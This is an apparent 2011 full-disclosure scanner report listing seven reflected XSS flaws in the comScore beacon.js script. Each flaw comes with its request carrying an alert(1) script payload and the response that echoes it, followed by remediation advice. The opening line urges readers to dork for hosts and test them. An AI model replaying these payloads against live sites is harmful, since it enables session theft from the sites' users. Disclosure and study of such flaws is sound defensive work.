Current Research | Full Disclosure | As of March 14, 2011

b.scorecardresearch.com, XSS, Ad CDN, CWE-79, CAPEC-86

For Example: DORK Search a Host using this API and "TEST" the REST Parameter or Cookie for XSS :->

Report generated by XSS.CX at Sat Mar 12 07:59:39 CST 2011.

XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

1. Cross-site scripting (reflected)

1.1. http://b.scorecardresearch.com/beacon.js [c1 parameter]

1.2. http://b.scorecardresearch.com/beacon.js [c15 parameter]

1.3. http://b.scorecardresearch.com/beacon.js [c2 parameter]

1.4. http://b.scorecardresearch.com/beacon.js [c3 parameter]

1.5. http://b.scorecardresearch.com/beacon.js [c4 parameter]

1.6. http://b.scorecardresearch.com/beacon.js [c5 parameter]

1.7. http://b.scorecardresearch.com/beacon.js [c6 parameter]

1. Cross-site scripting (reflected)
There are 7 instances of this issue:

/beacon.js [c1 parameter]
/beacon.js [c15 parameter]
/beacon.js [c2 parameter]
/beacon.js [c3 parameter]
/beacon.js [c4 parameter]
/beacon.js [c5 parameter]
/beacon.js [c6 parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://b.scorecardresearch.com/beacon.js [c1 parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c1 request parameter is copied into the HTML document as plain text between tags. The payload 7fc94<script>alert(1)</script>b57a98b5c5b was submitted in the c1 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=27fc94<script>alert(1)</script>b57a98b5c5b&c2=6036034&c3=&c4=/&c5=20000&c6=&c15= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.nickjr.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=6d0f24-24.143.206.42-1297806131

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Sat, 19 Mar 2011 13:50:24 GMT
Date: Sat, 12 Mar 2011 13:50:24 GMT
Connection: close
Content-Length: 3586

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
MSCORE.purge=function(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"27fc94<script>alert(1)</script>b57a98b5c5b", c2:"6036034", c3:"", c4:"/", c5:"20000", c6:"", c10:"", c15:"", c16:"", r:""});

1.2. http://b.scorecardresearch.com/beacon.js [c15 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c15 request parameter is copied into the HTML document as plain text between tags. The payload fc018<script>alert(1)</script>a4de7170dad was submitted in the c15 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2&c2=6036034&c3=&c4=/&c5=20000&c6=&c15=fc018<script>alert(1)</script>a4de7170dad HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.nickjr.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=6d0f24-24.143.206.42-1297806131

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Sat, 19 Mar 2011 13:50:32 GMT
Date: Sat, 12 Mar 2011 13:50:32 GMT
Connection: close
Content-Length: 3586

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"2", c2:"6036034", c3:"", c4:"/", c5:"20000", c6:"", c10:"", c15:"fc018<script>alert(1)</script>a4de7170dad", c16:"", r:""});

1.3. http://b.scorecardresearch.com/beacon.js [c2 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c2 request parameter is copied into the HTML document as plain text between tags. The payload ffca7<script>alert(1)</script>15a051da22a was submitted in the c2 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2&c2=6036034ffca7<script>alert(1)</script>15a051da22a&c3=&c4=/&c5=20000&c6=&c15= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.nickjr.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=6d0f24-24.143.206.42-1297806131

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Sat, 19 Mar 2011 13:50:26 GMT
Date: Sat, 12 Mar 2011 13:50:26 GMT
Connection: close
Content-Length: 3586

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
unction(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"2", c2:"6036034ffca7<script>alert(1)</script>15a051da22a", c3:"", c4:"/", c5:"20000", c6:"", c10:"", c15:"", c16:"", r:""});

1.4. http://b.scorecardresearch.com/beacon.js [c3 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c3 request parameter is copied into the HTML document as plain text between tags. The payload cb8c0<script>alert(1)</script>64adc902622 was submitted in the c3 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2&c2=6036034&c3=cb8c0<script>alert(1)</script>64adc902622&c4=/&c5=20000&c6=&c15= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.nickjr.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=6d0f24-24.143.206.42-1297806131

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Sat, 19 Mar 2011 13:50:27 GMT
Date: Sat, 12 Mar 2011 13:50:27 GMT
Connection: close
Content-Length: 3586

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"2", c2:"6036034", c3:"cb8c0<script>alert(1)</script>64adc902622", c4:"/", c5:"20000", c6:"", c10:"", c15:"", c16:"", r:""});

1.5. http://b.scorecardresearch.com/beacon.js [c4 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c4 request parameter is copied into the HTML document as plain text between tags. The payload b6f15<script>alert(1)</script>91ce87bd395 was submitted in the c4 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2&c2=6036034&c3=&c4=/b6f15<script>alert(1)</script>91ce87bd395&c5=20000&c6=&c15= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.nickjr.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=6d0f24-24.143.206.42-1297806131

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Sat, 19 Mar 2011 13:50:28 GMT
Date: Sat, 12 Mar 2011 13:50:28 GMT
Connection: close
Content-Length: 3586

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"2", c2:"6036034", c3:"", c4:"/b6f15<script>alert(1)</script>91ce87bd395", c5:"20000", c6:"", c10:"", c15:"", c16:"", r:""});

1.6. http://b.scorecardresearch.com/beacon.js [c5 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c5 request parameter is copied into the HTML document as plain text between tags. The payload 9b5b7<script>alert(1)</script>0ab8501dbe6 was submitted in the c5 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2&c2=6036034&c3=&c4=/&c5=200009b5b7<script>alert(1)</script>0ab8501dbe6&c6=&c15= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.nickjr.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=6d0f24-24.143.206.42-1297806131

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Sat, 19 Mar 2011 13:50:29 GMT
Date: Sat, 12 Mar 2011 13:50:29 GMT
Connection: close
Content-Length: 3586

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"2", c2:"6036034", c3:"", c4:"/", c5:"200009b5b7<script>alert(1)</script>0ab8501dbe6", c6:"", c10:"", c15:"", c16:"", r:""});

1.7. http://b.scorecardresearch.com/beacon.js [c6 parameter] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c6 request parameter is copied into the HTML document as plain text between tags. The payload a2734<script>alert(1)</script>e2cde869dc5 was submitted in the c6 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2&c2=6036034&c3=&c4=/&c5=20000&c6=a2734<script>alert(1)</script>e2cde869dc5&c15= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.nickjr.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=6d0f24-24.143.206.42-1297806131

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Sat, 19 Mar 2011 13:50:31 GMT
Date: Sat, 12 Mar 2011 13:50:31 GMT
Connection: close
Content-Length: 3586

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"2", c2:"6036034", c3:"", c4:"/", c5:"20000", c6:"a2734<script>alert(1)</script>e2cde869dc5", c10:"", c15:"", c16:"", r:""});

Report generated by XSS.CX at Sat Mar 12 07:59:39 CST 2011.